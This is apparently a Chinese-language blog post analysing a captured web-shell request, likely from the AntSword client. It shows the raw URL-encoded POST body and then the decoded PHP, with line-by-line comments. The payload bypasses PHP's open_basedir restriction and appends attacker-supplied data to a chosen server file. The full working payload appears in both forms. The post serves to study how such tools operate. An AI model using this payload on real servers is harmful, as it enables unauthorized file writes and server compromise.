Content-Type: application/x-www-form-urlencoded
Content-Length: 1687
Connection: close

cmd=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24oparr%3Dpreg_split(base64_decode(%22Lzt8Oi8%3D%22)%2C%24opdir)%3B%40array_push(%24oparr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%7Bif(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%24item.%22%2F.86709ca3aef%22%3B%40mkdir(%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7Bcontinue%3B%7D%24tmdir%3Drealpath(%24tmdir)%3B%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%20%22..%22)%3B%24cntarr%3D%40preg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24tmdir)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24cntarr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%3B%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24tmdir)%3Bbreak%3B%7D%3B%7D%3B%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%2214b1ce%22.%22c903a2%22%3Becho%20%40asenc(%24output)%3Becho%20%22097%22.%2223b%22%3B%7Dob_start()%3Btry%7B%24f%3Dbase64_decode(substr(%24_POST%5B%22ge4a593942d555%22%5D%2C2))%3B%24c%3D%24_POST%5B%22md04d3815c1e44%22%5D%3B%24c%3Dstr_replace(%22%5Cr%22%2C%22%22%2C%24c)%3B%24c%3Dstr_replace(%22%5Cn%22%2C%22%22%2C%24c)%3B%24buf%3D%22%22%3Bfor(%24i%3D0%3B%24i%3Cstrlen(%24c)%3B%24i%2B%3D2)%24buf.%3Durldecode(%22%25%22.substr(%24c%2C%24i%2C2))%3Becho(%40fwrite(fopen(%24f%2C%22a%22)%2C%24buf)%3F%221%22%3A%220%22)%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B&ge4a593942d555=p7RDovcGhwU3R1ZHkvV1dXLzEudHh0&md04d3815c1e44=7A7A70

执行代码:

<?php
// 禁用错误显示
@ini_set("display_errors", "0");
// 设置脚本运行时间限制为无限
@set_time_limit(0);

// 获取当前PHP配置中的 open_basedir open_basedir会限制脚本只能访问指定的目录  init_get获取当前 PHP 配置选项的值 语法ini_get("配置名称") open_basedir的值为"/var/www/html:/tmp"
$opdir = @ini_get("open_basedir");

// 如果 open_basedir 设置了值
if ($opdir) {
    // // 获取当前脚本的目录(获取目录部分的路径),通过使用 $_SERVER["SCRIPT_FILENAME"] 超全局变量来获取当前脚本的绝对文件路径,然后通过 dirname 函数来提取该文件路径的目录部分。
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);

    // 将 open_basedir 字符串按特定分隔符切割为数组  preg_split用于将字符串分割成数组 使用了正则表达式还对正则筛选条件进行了加解密
    // 语法preg_split($正则表达式模式,用于指定分隔符, $要分割的原始字符串, $limit = 可选的参数,指定最大分割次数。默认值是 -1,表示没有限制,
    // $flags = 可选的标志参数,用于修改分割行为,例如大小写敏感、全局匹配等)
    $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);

    // 将当前目录、临时目录加入数组 $ocwd 是通过 dirname($_SERVER["SCRIPT_FILENAME"]) 获取的当前脚本的目录路径。
    // sys_get_temp_dir() 是一个 PHP 函数,用于获取系统的临时目录路径。
    @array_push($oparr, $ocwd, sys_get_temp_dir());

    // 遍历数组中的每个路径
    // 检查当前迭代的 $item 是否可写(即是否具有写入权限)。
    // 如果 $item 不可写,那么 if (!@is_writable($item)) 的条件为真,代码会执行 continue;,
    // 这将导致跳过当前迭代并继续下一个。
    foreach ($oparr as $item) {
        // 如果目录不可写,继续下一个
        if (!@is_writable($item)) {
            continue;
        }

        // 创建一个临时目录 "/.86709ca3aef"后面连接的为随机数值
        $tmdir = $item . "/.86709ca3aef";

        // 创建目录
        @mkdir($tmdir);

        // 如果临时目录不存在,继续下一个
        if (!@file_exists($tmdir)) {
            continue;
        }

        // 获取临时目录的绝对路径
        $tmdir = realpath($tmdir);

        // 切换当前工作目录到该目录 $tmdir 是之前生成的一个临时目录的路径,
        // 通过一系列操作和检查确保它是一个可写的目录。一旦确认 $tmdir 是一个有效的、可写的目录,
        // 代码尝试通过 @chdir($tmdir) 将当前的工作目录更改为这个目录。
        @chdir($tmdir);

        // 临时更改 open_basedir 为上级目录
        // ini_set 是 PHP 的内置函数,用于动态地设置 PHP 的配置选项。
        // "open_basedir" 是要设置的配置选项的名称。open_basedir 用于指定 PHP 可以访问的目录的限制,以提高安全性。
        // ".." 是要将 open_basedir 设置为的新值,这表示 PHP 脚本在运行时可以访问上一级目录。
        @ini_set("open_basedir", "..");

        // 将路径按斜杠或反斜杠分割为数组
        // $tmdir 是一个包含路径的字符串,例如 /path/to/directory/file.txt。
        // preg_split 是一个用于正则表达式分割字符串的 PHP 函数。
        // "/\\\\|\//" 是一个正则表达式模式,它指定了两个可能的分隔符:反斜杠 \ 和斜杠 /。在正则表达式中,反斜杠 \ 是一个特殊字符,
        // 因此需要用两次反斜杠 \\ 来匹配它。
        // $cntarr 是一个数组,它将包含分割后的部分。
        $cntarr = @preg_split("/\\\\|\//", $tmdir);

        // 逐层切换到上级目录,复原 open_basedir
        // $cntarr 是一个数组,它包含了之前通过正则表达式分割得到的目录路径的各个部分。
        // for ($i = 0; $i < sizeof($cntarr); $i++) 是一个 for 循环,它从数组的第一个元素开始,一直遍历到最后一个元素。
        // 在每次循环迭代中,@chdir("..") 用于将当前的工作目录(当前目录)向上移动到上一级目录。
        for ($i = 0; $i < sizeof($cntarr); $i++) {
            @chdir("..");
        }

        // 恢复 open_basedir 为根目录
        // ini_set 是 PHP 的内置函数,用于动态地设置 PHP 的配置选项。
        // "open_basedir" 是要设置的配置选项的名称。open_basedir 用于指定 PHP 可以访问的目录的限制,以提高安全性。
        @ini_set("open_basedir", "/");

        // 移除临时目录
        @rmdir($tmdir);

        // 退出循环
        break;
    }
}

// 定义一个用于加密的函数
// 在尝试绕过 PHP 的 open_basedir 限制,
// 它尝试在当前环境下创建一个可写的临时目录,然后在该目录中进行一些操作
function asenc($out)
{
    return $out;
}

// 定义一个用于输出的函数
// 获取输出缓冲区的内容:$output = ob_get_contents();
// 用于获取输出缓冲区中的内容,并将其保存在 $output 变量中。
// 清空输出缓冲区:ob_end_clean(); 用于清空输出缓冲区,以便后续重新填充缓冲区或输出内容。
// 输出一些字符和经过 asenc 处理的内容:这部分代码用于在输出中添加一些字符,并将经过 asenc 处理的 $output 输出到页面。
// @asenc($output) 是调用了名为 asenc 的函数来处理输出内容,这个函数在先前的代码中定义。
function asoutput()
{
    // 获取输出缓冲区的内容
    $output = ob_get_contents();
    // 清空输出缓冲区
    ob_end_clean();
    // 输出一些字符串
    echo "14b1ce" . "c903a2";
    // 调用 asenc 函数对输出进行加密
    echo @asenc($output);
    // 输出另一些字符串
    echo "097" . "23b";
}

// ob_start();: 这一行代码启用输出缓冲区,
// 用于将后续的输出内容暂时存储在缓冲区中,而不是立即发送到浏览器。
ob_start();

try {  // try { ... } catch (Exception $e) { ... }

    // 获取文件路径并进行处理
    // 将一个经过 base64 编码的字符串解码,并将其结果存储在 $f 变量中
    // 使用 p7RDovcGhwU3R1ZHkvV1dXLzEudHh0替换 $_POST["ge4a593942d555"]
    $f = base64_decode(substr('p7RDovcGhwU3R1ZHkvV1dXLzEudHh0', 2));

    //md04d3815c1e44 = 7A7A70 替换$_POST
    $c = '7A7A70';

    // 用于从字符串 $c 中移除换行符(\r 和 \n),以避免可能引起的格式问题。
    $c = str_replace("\r", "", $c);
    $c = str_replace("\n", "", $c);

    // 定义变量
    $buf = "";

    // 将字符串 $c 按每两个字符进行处理,然后将处理后的结果存储在 $buf 变量中。
    // 它使用 urldecode() 函数对字符串进行 URL 解码。
    for ($i = 0; $i < strlen($c); $i += 2)
        $buf .= urldecode("%" . substr($c, $i, 2));

    // 将 URL 编码的字符串解码后写入文件
    // 将 $buf 中的内容写入到文件 $f 中,使用 "a" 模式表示以追加方式打开文件。
    // 然后,根据写入的结果,它要么输出 "1" 表示成功,要么输出 "0" 表示失败。
    echo(@fwrite(fopen($f, "a"), $buf) ? "1" : "0");


} catch (Exception $e) {
    // 在 try 块中发生了任何异常,代码将跳转到这个块中。
    // 它会输出一个错误消息,显示异常的详细信息
    echo "ERROR://" . $e->getMessage();
}

// 调用 asoutput 函数以输出缓冲区中的内容
asoutput();

// 终止脚本的执行
die();
//&
//ge4a593942d555 = p7RDovcGhwU3R1ZHkvV1dXLzEudHh0 & md04d3815c1e44 = 7A7A70

Views: 12

退出移动版